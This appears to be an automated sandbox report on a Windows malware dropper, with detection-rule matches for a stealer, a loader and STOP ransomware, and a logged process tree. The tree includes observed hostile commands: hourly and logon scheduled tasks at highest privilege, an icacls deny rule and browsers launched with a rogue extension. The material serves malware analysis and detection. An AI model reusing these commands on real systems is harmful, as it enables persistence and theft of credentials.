Source: 00000009.00000002.2260956551.0000028B1B1E0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Donutloader_f40e3759 os = windows, severity = x86, creation_date = 2021-09-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Donutloader, fingerprint = 6400b34f762cebb4f91a8d24c5fce647e069a971fb3ec923a63aa98c8cfffab7, id = f40e3759-2531-4e21-946a-fb55104814c0, last_modified = 2022-01-13
Source: 00000013.00000002.1907412853.000000000214D000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 0000000C.00000002.1941148148.0000000004570000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: INDICATOR_SUSPICIOUS_EXE_WindDefender_AntiEmaulation author = ditekSHen, description = Detects executables containing potential Windows Defender anti-emulation checks
Source: 00000018.00000002.2263258609.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 00000018.00000002.2263258609.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111

Source: niko[1].exe.0.dr	Static PE information: Section: ZLIB complexity 0.9995951644458545
Source: niko[1].exe.0.dr	Static PE information: Section: ZLIB complexity 0.998531371124031
Source: niko[1].exe.0.dr	Static PE information: Section: ZLIB complexity 0.9951171875
Source: H61tUtaRHb9b8i2Ptr3ABL5b.exe.0.dr	Static PE information: Section: ZLIB complexity 0.9995951644458545
Source: H61tUtaRHb9b8i2Ptr3ABL5b.exe.0.dr	Static PE information: Section: ZLIB complexity 0.998531371124031
Source: H61tUtaRHb9b8i2Ptr3ABL5b.exe.0.dr	Static PE information: Section: ZLIB complexity 0.9951171875
Source: nDCHNmvRZpJ9pfO5sjkcNCmB.exe.0.dr	Static PE information: Section: .data ZLIB complexity 0.9890492263349514
Source: XUm5iHwFVfNXnTAqN672Jc3R.exe.0.dr	Static PE information: Section: ZLIB complexity 0.9978736139112904
Source: XUm5iHwFVfNXnTAqN672Jc3R.exe.0.dr	Static PE information: Section: ZLIB complexity 0.9941860465116279
Source: XUm5iHwFVfNXnTAqN672Jc3R.exe.0.dr	Static PE information: Section: .reloc ZLIB complexity 1.5
Source: lumma2305[1].exe.5.dr	Static PE information: Section: .data ZLIB complexity 0.9894404217479674

Source: classification engine

Classification label: mal100.rans.troj.spyw.evad.winEXE@132/314@63/32

Source: C:\Users\user\Documents\SimpleAdobe\0TN7dY_Xsg2P0AdS9Hdzos_q.exe

File created: C:\Program Files\Windows Media Player\background.jpg

Source: C:\Users\user\Desktop\BI6oo9z4In.exe

File created: C:\Users\user\Documents\SimpleAdobe

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7740:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7976:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7732:120:WilError_03
Source: C:\Users\user\Documents\SimpleAdobe\XUm5iHwFVfNXnTAqN672Jc3R.exe	Mutant created: \Sessions\1\BaseNamedObjects\JarakHalgWW_11
Source: C:\Users\user\Desktop\BI6oo9z4In.exe	Mutant created: \Sessions\1\BaseNamedObjects\JarakHalgWW_12
Source: C:\Users\user\Documents\SimpleAdobe\LLNkfgDtZiUZkTn30_sZHJcE.exe	Mutant created: \Sessions\1\BaseNamedObjects\Global\Protect544cd51a.dll

Source: C:\Users\user\Documents\SimpleAdobe\8WUnp6Y_Ak5XjHYYEp1aIJYJ.exe

File created: C:\Users\user\AppData\Local\Temp\span3thb7smxRnGc\D87fZN3R3jFeplaces.sqlite

Jump to behavior

Source: C:\Users\user\Documents\SimpleAdobe\H61tUtaRHb9b8i2Ptr3ABL5b.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales
Source: C:\Users\user\Documents\SimpleAdobe\H61tUtaRHb9b8i2Ptr3ABL5b.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales
Source: C:\Users\user\Documents\SimpleAdobe\DbsmJHnmNOlKFVGvWfuU03Cy.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Process
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Process Where SessionId='1'
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Process
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Process

Source: C:\Users\user\Desktop\BI6oo9z4In.exe

File read: C:\Windows\System32\GroupPolicy\gpt.ini

Jump to behavior

Source: C:\Users\user\Desktop\BI6oo9z4In.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\is-CMND8.tmp\jNWxa0Pc_jGneI3LjcIqUJSt.tmp

Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion RegisteredOrganization

Source: BI6oo9z4In.exe, 00000000.00000003.1655717877.0000000001F70000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: UPDATE %Q.%s SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: BI6oo9z4In.exe, 00000000.00000003.1655717877.0000000001F70000.00000004.00001000.00020000.00000000.sdmp, 8WUnp6Y_Ak5XjHYYEp1aIJYJ.exe, 00000005.00000002.2231644289.00000000002AD000.00000002.00000001.01000000.00000006.sdmp, Q7vDtN_em7fitYNxQll9ewNo.exe, 00000008.00000002.2211727454.000000000106D000.00000002.00000001.01000000.0000000A.sdmp, H61tUtaRHb9b8i2Ptr3ABL5b.exe, 0000000A.00000002.2105979220.0000000000B21000.00000040.00000001.01000000.0000000B.sdmp, _vgILobA0xXbWeowDxO5iZdo.exe, 0000000B.00000002.2423974278.000000000025D000.00000002.00000001.01000000.0000000C.sdmp	Binary or memory string: INSERT INTO %Q.%s VALUES('index',%Q,%Q,#%d,%Q);
Source: FDsH_f9gemssdAs7w06vZwlL.exe, 0000000E.00000002.2407723697.000000006685F000.00000002.00000001.01000000.0000002A.sdmp, FDsH_f9gemssdAs7w06vZwlL.exe, 0000000E.00000002.2394680058.000000001D3DB000.00000004.00000020.00020000.00000000.sdmp, FDsH_f9gemssdAs7w06vZwlL.exe, 0000000E.00000002.2406111898.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: FDsH_f9gemssdAs7w06vZwlL.exe, 0000000E.00000002.2407723697.000000006685F000.00000002.00000001.01000000.0000002A.sdmp, FDsH_f9gemssdAs7w06vZwlL.exe, 0000000E.00000002.2394680058.000000001D3DB000.00000004.00000020.00020000.00000000.sdmp, FDsH_f9gemssdAs7w06vZwlL.exe, 0000000E.00000002.2406111898.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: FDsH_f9gemssdAs7w06vZwlL.exe, 0000000E.00000002.2407723697.000000006685F000.00000002.00000001.01000000.0000002A.sdmp, FDsH_f9gemssdAs7w06vZwlL.exe, 0000000E.00000002.2394680058.000000001D3DB000.00000004.00000020.00020000.00000000.sdmp, FDsH_f9gemssdAs7w06vZwlL.exe, 0000000E.00000002.2406111898.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: 8WUnp6Y_Ak5XjHYYEp1aIJYJ.exe, 00000005.00000002.2231644289.00000000002AD000.00000002.00000001.01000000.00000006.sdmp, Q7vDtN_em7fitYNxQll9ewNo.exe, 00000008.00000002.2211727454.000000000106D000.00000002.00000001.01000000.0000000A.sdmp, H61tUtaRHb9b8i2Ptr3ABL5b.exe, 0000000A.00000002.2105979220.0000000000B21000.00000040.00000001.01000000.0000000B.sdmp, _vgILobA0xXbWeowDxO5iZdo.exe, 0000000B.00000002.2423974278.000000000025D000.00000002.00000001.01000000.0000000C.sdmp	Binary or memory string: UPDATE %Q.%s SET sql = sqlite_rename_table(sql, %Q), tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqlite_autoindex%%' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q AND (type='table' OR type='index' OR type='trigger');
Source: FDsH_f9gemssdAs7w06vZwlL.exe, 0000000E.00000002.2407723697.000000006685F000.00000002.00000001.01000000.0000002A.sdmp, FDsH_f9gemssdAs7w06vZwlL.exe, 0000000E.00000002.2394680058.000000001D3DB000.00000004.00000020.00020000.00000000.sdmp, FDsH_f9gemssdAs7w06vZwlL.exe, 0000000E.00000002.2406111898.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: FDsH_f9gemssdAs7w06vZwlL.exe, 0000000E.00000002.2407723697.000000006685F000.00000002.00000001.01000000.0000002A.sdmp, FDsH_f9gemssdAs7w06vZwlL.exe, 0000000E.00000002.2394680058.000000001D3DB000.00000004.00000020.00020000.00000000.sdmp, FDsH_f9gemssdAs7w06vZwlL.exe, 0000000E.00000002.2406111898.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: FDsH_f9gemssdAs7w06vZwlL.exe, 0000000E.00000002.2407723697.000000006685F000.00000002.00000001.01000000.0000002A.sdmp, FDsH_f9gemssdAs7w06vZwlL.exe, 0000000E.00000002.2394680058.000000001D3DB000.00000004.00000020.00020000.00000000.sdmp, FDsH_f9gemssdAs7w06vZwlL.exe, 0000000E.00000002.2406111898.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: FDsH_f9gemssdAs7w06vZwlL.exe, 0000000E.00000002.2394680058.000000001D3DB000.00000004.00000020.00020000.00000000.sdmp, FDsH_f9gemssdAs7w06vZwlL.exe, 0000000E.00000002.2406111898.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(addr INT,opcode TEXT,p1 INT,p2 INT,p3 INT,p4 TEXT,p5 INT,comment TEXT,subprog TEXT,stmt HIDDEN);
Source: Q7vDtN_em7fitYNxQll9ewNo.exe, 00000008.00000003.2097318217.00000000061D7000.00000004.00000020.00020000.00000000.sdmp, Q7vDtN_em7fitYNxQll9ewNo.exe, 00000008.00000003.2101184703.00000000061D7000.00000004.00000020.00020000.00000000.sdmp, Q7vDtN_em7fitYNxQll9ewNo.exe, 00000008.00000003.2099047562.00000000061D7000.00000004.00000020.00020000.00000000.sdmp, Q7vDtN_em7fitYNxQll9ewNo.exe, 00000008.00000003.2098185582.00000000061E3000.00000004.00000020.00020000.00000000.sdmp, H61tUtaRHb9b8i2Ptr3ABL5b.exe, 0000000A.00000003.2057820524.0000000001ADC000.00000004.00000020.00020000.00000000.sdmp, H61tUtaRHb9b8i2Ptr3ABL5b.exe, 0000000A.00000003.2058579659.0000000001ADC000.00000004.00000020.00020000.00000000.sdmp, FDsH_f9gemssdAs7w06vZwlL.exe, 0000000E.00000003.2056522996.0000000023346000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: FDsH_f9gemssdAs7w06vZwlL.exe, 0000000E.00000002.2394680058.000000001D3DB000.00000004.00000020.00020000.00000000.sdmp, FDsH_f9gemssdAs7w06vZwlL.exe, 0000000E.00000002.2406111898.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);
Source: FDsH_f9gemssdAs7w06vZwlL.exe, 0000000E.00000002.2394680058.000000001D3DB000.00000004.00000020.00020000.00000000.sdmp, FDsH_f9gemssdAs7w06vZwlL.exe, 0000000E.00000002.2406111898.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(type TEXT,schema TEXT,name TEXT,wr INT,subprog TEXT,stmt HIDDEN);

Source: BI6oo9z4In.exe	ReversingLabs: Detection: 23%
Source: BI6oo9z4In.exe	Virustotal: Detection: 35%

Source: 8WUnp6Y_Ak5XjHYYEp1aIJYJ.exe

String found in binary or memory: https://www.maxmind.com/en/locate-my-ip-address

Source: unknown	Process created: C:\Users\user\Desktop\BI6oo9z4In.exe "C:\Users\user\Desktop\BI6oo9z4In.exe"
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -s WPDBusEnum
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k NetSvcs -p -s NcaSvc
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s fhsvc
Source: C:\Users\user\Desktop\BI6oo9z4In.exe	Process created: C:\Users\user\Documents\SimpleAdobe\8WUnp6Y_Ak5XjHYYEp1aIJYJ.exe C:\Users\user\Documents\SimpleAdobe\8WUnp6Y_Ak5XjHYYEp1aIJYJ.exe
Source: C:\Users\user\Desktop\BI6oo9z4In.exe	Process created: C:\Users\user\Documents\SimpleAdobe\HXqqC3YwnKDsi7zeJNheTOoZ.exe C:\Users\user\Documents\SimpleAdobe\HXqqC3YwnKDsi7zeJNheTOoZ.exe
Source: C:\Users\user\Desktop\BI6oo9z4In.exe	Process created: C:\Users\user\Documents\SimpleAdobe\LLNkfgDtZiUZkTn30_sZHJcE.exe C:\Users\user\Documents\SimpleAdobe\LLNkfgDtZiUZkTn30_sZHJcE.exe
Source: C:\Users\user\Desktop\BI6oo9z4In.exe	Process created: C:\Users\user\Documents\SimpleAdobe\Q7vDtN_em7fitYNxQll9ewNo.exe C:\Users\user\Documents\SimpleAdobe\Q7vDtN_em7fitYNxQll9ewNo.exe
Source: C:\Users\user\Desktop\BI6oo9z4In.exe	Process created: C:\Users\user\Documents\SimpleAdobe\uyMYdkI0kpEOwxO0H1smOiYQ.exe C:\Users\user\Documents\SimpleAdobe\uyMYdkI0kpEOwxO0H1smOiYQ.exe
Source: C:\Users\user\Desktop\BI6oo9z4In.exe	Process created: C:\Users\user\Documents\SimpleAdobe\H61tUtaRHb9b8i2Ptr3ABL5b.exe C:\Users\user\Documents\SimpleAdobe\H61tUtaRHb9b8i2Ptr3ABL5b.exe
Source: C:\Users\user\Desktop\BI6oo9z4In.exe	Process created: C:\Users\user\Documents\SimpleAdobe\_vgILobA0xXbWeowDxO5iZdo.exe C:\Users\user\Documents\SimpleAdobe\_vgILobA0xXbWeowDxO5iZdo.exe
Source: C:\Users\user\Desktop\BI6oo9z4In.exe	Process created: C:\Users\user\Documents\SimpleAdobe\DbsmJHnmNOlKFVGvWfuU03Cy.exe C:\Users\user\Documents\SimpleAdobe\DbsmJHnmNOlKFVGvWfuU03Cy.exe
Source: C:\Users\user\Desktop\BI6oo9z4In.exe	Process created: C:\Users\user\Documents\SimpleAdobe\0TN7dY_Xsg2P0AdS9Hdzos_q.exe C:\Users\user\Documents\SimpleAdobe\0TN7dY_Xsg2P0AdS9Hdzos_q.exe
Source: C:\Users\user\Desktop\BI6oo9z4In.exe	Process created: C:\Users\user\Documents\SimpleAdobe\FDsH_f9gemssdAs7w06vZwlL.exe C:\Users\user\Documents\SimpleAdobe\FDsH_f9gemssdAs7w06vZwlL.exe
Source: C:\Users\user\Desktop\BI6oo9z4In.exe	Process created: C:\Users\user\Documents\SimpleAdobe\jNWxa0Pc_jGneI3LjcIqUJSt.exe C:\Users\user\Documents\SimpleAdobe\jNWxa0Pc_jGneI3LjcIqUJSt.exe
Source: C:\Users\user\Desktop\BI6oo9z4In.exe	Process created: C:\Users\user\Documents\SimpleAdobe\mqno7fOpkNXkRXNi1WQAv6HN.exe C:\Users\user\Documents\SimpleAdobe\mqno7fOpkNXkRXNi1WQAv6HN.exe
Source: C:\Users\user\Desktop\BI6oo9z4In.exe	Process created: C:\Users\user\Documents\SimpleAdobe\nDCHNmvRZpJ9pfO5sjkcNCmB.exe C:\Users\user\Documents\SimpleAdobe\nDCHNmvRZpJ9pfO5sjkcNCmB.exe
Source: C:\Users\user\Desktop\BI6oo9z4In.exe	Process created: C:\Users\user\Documents\SimpleAdobe\XUm5iHwFVfNXnTAqN672Jc3R.exe C:\Users\user\Documents\SimpleAdobe\XUm5iHwFVfNXnTAqN672Jc3R.exe
Source: C:\Users\user\Desktop\BI6oo9z4In.exe	Process created: C:\Users\user\Documents\SimpleAdobe\unbmFXV_GPtCMFoyWe7JMXak.exe C:\Users\user\Documents\SimpleAdobe\unbmFXV_GPtCMFoyWe7JMXak.exe
Source: C:\Users\user\Desktop\BI6oo9z4In.exe	Process created: C:\Users\user\Documents\SimpleAdobe\WuCWK8yqSjYPSqgAmQSoYHzV.exe C:\Users\user\Documents\SimpleAdobe\WuCWK8yqSjYPSqgAmQSoYHzV.exe
Source: C:\Users\user\Documents\SimpleAdobe\HXqqC3YwnKDsi7zeJNheTOoZ.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Users\user\Documents\SimpleAdobe\nDCHNmvRZpJ9pfO5sjkcNCmB.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Users\user\Documents\SimpleAdobe\unbmFXV_GPtCMFoyWe7JMXak.exe	Process created: C:\Users\user\Documents\SimpleAdobe\unbmFXV_GPtCMFoyWe7JMXak.exe C:\Users\user\Documents\SimpleAdobe\unbmFXV_GPtCMFoyWe7JMXak.exe
Source: C:\Users\user\Documents\SimpleAdobe\DbsmJHnmNOlKFVGvWfuU03Cy.exe	Process created: C:\Users\user\AppData\Local\Temp\katC73D.tmp C:\Users\user\AppData\Local\Temp\katC73D.tmp
Source: C:\Users\user\Documents\SimpleAdobe\jNWxa0Pc_jGneI3LjcIqUJSt.exe	Process created: C:\Users\user\AppData\Local\Temp\is-CMND8.tmp\jNWxa0Pc_jGneI3LjcIqUJSt.tmp "C:\Users\user\AppData\Local\Temp\is-CMND8.tmp\jNWxa0Pc_jGneI3LjcIqUJSt.tmp" /SL5="$40382,5476278,54272,C:\Users\user\Documents\SimpleAdobe\jNWxa0Pc_jGneI3LjcIqUJSt.exe"
Source: C:\Users\user\Documents\SimpleAdobe\WuCWK8yqSjYPSqgAmQSoYHzV.exe	Process created: C:\Users\user\AppData\Local\Temp\7zSC067.tmp\Install.exe .\Install.exe
Source: C:\Users\user\AppData\Local\Temp\is-CMND8.tmp\jNWxa0Pc_jGneI3LjcIqUJSt.tmp	Process created: C:\Users\user\AppData\Local\Zvaer Video Recorder\zvaervideorecorder.exe "C:\Users\user\AppData\Local\Zvaer Video Recorder\zvaervideorecorder.exe" -i
Source: C:\Users\user\Documents\SimpleAdobe\LLNkfgDtZiUZkTn30_sZHJcE.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\MsBuild.exe
Source: C:\Users\user\Documents\SimpleAdobe\H61tUtaRHb9b8i2Ptr3ABL5b.exe	Process created: C:\Windows\SysWOW64\schtasks.exe schtasks /create /f /RU "user" /tr "C:\ProgramData\MPGPH131\MPGPH131.exe" /tn "MPGPH131 HR" /sc HOURLY /rl HIGHEST
Source: C:\Windows\SysWOW64\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k WerSvcGroup
Source: C:\Users\user\Documents\SimpleAdobe\uyMYdkI0kpEOwxO0H1smOiYQ.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --load-extension="C:\Users\user\AppData\Local\Temp\Extension"
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -pss -s 472 -p 3228 -ip 3228
Source: C:\Users\user\Documents\SimpleAdobe\H61tUtaRHb9b8i2Ptr3ABL5b.exe	Process created: C:\Windows\SysWOW64\schtasks.exe schtasks /create /f /RU "user" /tr "C:\ProgramData\MPGPH131\MPGPH131.exe" /tn "MPGPH131 LG" /sc ONLOGON /rl HIGHEST
Source: C:\Windows\SysWOW64\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\7zSC067.tmp\Install.exe	Process created: C:\Users\user\AppData\Local\Temp\7zSCCDB.tmp\Install.exe .\Install.exe /ifrdidZGrX "525403" /S
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: unknown	Process created: C:\ProgramData\MPGPH131\MPGPH131.exe C:\ProgramData\MPGPH131\MPGPH131.exe
Source: C:\Users\user\Documents\SimpleAdobe\unbmFXV_GPtCMFoyWe7JMXak.exe	Process created: C:\Windows\SysWOW64\icacls.exe icacls "C:\Users\user\AppData\Local\84679a19-0f45-4e6d-bca5-a027588bcda7" /deny *S-1-1-0:(OI)(CI)(DE,DC)
Source: C:\Users\user\Documents\SimpleAdobe\uyMYdkI0kpEOwxO0H1smOiYQ.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --load-extension="C:\Users\user\AppData\Local\Temp\Extension"
Source: C:\Users\user\Desktop\BI6oo9z4In.exe	Process created: C:\Users\user\Documents\SimpleAdobe\8WUnp6Y_Ak5XjHYYEp1aIJYJ.exe C:\Users\user\Documents\SimpleAdobe\8WUnp6Y_Ak5XjHYYEp1aIJYJ.exe	Jump to behavior
Source: C:\Users\user\Desktop\BI6oo9z4In.exe	Process created: C:\Users\user\Documents\SimpleAdobe\HXqqC3YwnKDsi7zeJNheTOoZ.exe C:\Users\user\Documents\SimpleAdobe\HXqqC3YwnKDsi7zeJNheTOoZ.exe	Jump to behavior
Source: C:\Users\user\Desktop\BI6oo9z4In.exe	Process created: C:\Users\user\Documents\SimpleAdobe\LLNkfgDtZiUZkTn30_sZHJcE.exe C:\Users\user\Documents\SimpleAdobe\LLNkfgDtZiUZkTn30_sZHJcE.exe	Jump to behavior
Source: C:\Users\user\Desktop\BI6oo9z4In.exe	Process created: C:\Users\user\Documents\SimpleAdobe\Q7vDtN_em7fitYNxQll9ewNo.exe C:\Users\user\Documents\SimpleAdobe\Q7vDtN_em7fitYNxQll9ewNo.exe	Jump to behavior
Source: C:\Users\user\Desktop\BI6oo9z4In.exe	Process created: C:\Users\user\Documents\SimpleAdobe\uyMYdkI0kpEOwxO0H1smOiYQ.exe C:\Users\user\Documents\SimpleAdobe\uyMYdkI0kpEOwxO0H1smOiYQ.exe	Jump to behavior
Source: C:\Users\user\Desktop\BI6oo9z4In.exe	Process created: C:\Users\user\Documents\SimpleAdobe\H61tUtaRHb9b8i2Ptr3ABL5b.exe C:\Users\user\Documents\SimpleAdobe\H61tUtaRHb9b8i2Ptr3ABL5b.exe	Jump to behavior
Source: C:\Users\user\Desktop\BI6oo9z4In.exe	Process created: C:\Users\user\Documents\SimpleAdobe\_vgILobA0xXbWeowDxO5iZdo.exe C:\Users\user\Documents\SimpleAdobe\_vgILobA0xXbWeowDxO5iZdo.exe	Jump to behavior
Source: C:\Users\user\Desktop\BI6oo9z4In.exe	Process created: C:\Users\user\Documents\SimpleAdobe\DbsmJHnmNOlKFVGvWfuU03Cy.exe C:\Users\user\Documents\SimpleAdobe\DbsmJHnmNOlKFVGvWfuU03Cy.exe	Jump to behavior
Source: C:\Users\user\Desktop\BI6oo9z4In.exe	Process created: C:\Users\user\Documents\SimpleAdobe\0TN7dY_Xsg2P0AdS9Hdzos_q.exe C:\Users\user\Documents\SimpleAdobe\0TN7dY_Xsg2P0AdS9Hdzos_q.exe	Jump to behavior
Source: C:\Users\user\Desktop\BI6oo9z4In.exe	Process created: C:\Users\user\Documents\SimpleAdobe\FDsH_f9gemssdAs7w06vZwlL.exe C:\Users\user\Documents\SimpleAdobe\FDsH_f9gemssdAs7w06vZwlL.exe	Jump to behavior
Source: C:\Users\user\Desktop\BI6oo9z4In.exe	Process created: C:\Users\user\Documents\SimpleAdobe\jNWxa0Pc_jGneI3LjcIqUJSt.exe C:\Users\user\Documents\SimpleAdobe\jNWxa0Pc_jGneI3LjcIqUJSt.exe	Jump to behavior
Source: C:\Users\user\Desktop\BI6oo9z4In.exe	Process created: C:\Users\user\Documents\SimpleAdobe\mqno7fOpkNXkRXNi1WQAv6HN.exe C:\Users\user\Documents\SimpleAdobe\mqno7fOpkNXkRXNi1WQAv6HN.exe	Jump to behavior
Source: C:\Users\user\Desktop\BI6oo9z4In.exe	Process created: C:\Users\user\Documents\SimpleAdobe\nDCHNmvRZpJ9pfO5sjkcNCmB.exe C:\Users\user\Documents\SimpleAdobe\nDCHNmvRZpJ9pfO5sjkcNCmB.exe	Jump to behavior
Source: C:\Users\user\Desktop\BI6oo9z4In.exe	Process created: C:\Users\user\Documents\SimpleAdobe\XUm5iHwFVfNXnTAqN672Jc3R.exe C:\Users\user\Documents\SimpleAdobe\XUm5iHwFVfNXnTAqN672Jc3R.exe	Jump to behavior
Source: C:\Users\user\Desktop\BI6oo9z4In.exe	Process created: C:\Users\user\Documents\SimpleAdobe\unbmFXV_GPtCMFoyWe7JMXak.exe C:\Users\user\Documents\SimpleAdobe\unbmFXV_GPtCMFoyWe7JMXak.exe	Jump to behavior
Source: C:\Users\user\Desktop\BI6oo9z4In.exe	Process created: C:\Users\user\Documents\SimpleAdobe\WuCWK8yqSjYPSqgAmQSoYHzV.exe C:\Users\user\Documents\SimpleAdobe\WuCWK8yqSjYPSqgAmQSoYHzV.exe	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\8WUnp6Y_Ak5XjHYYEp1aIJYJ.exe	Process created: unknown unknown	Jump to behavior
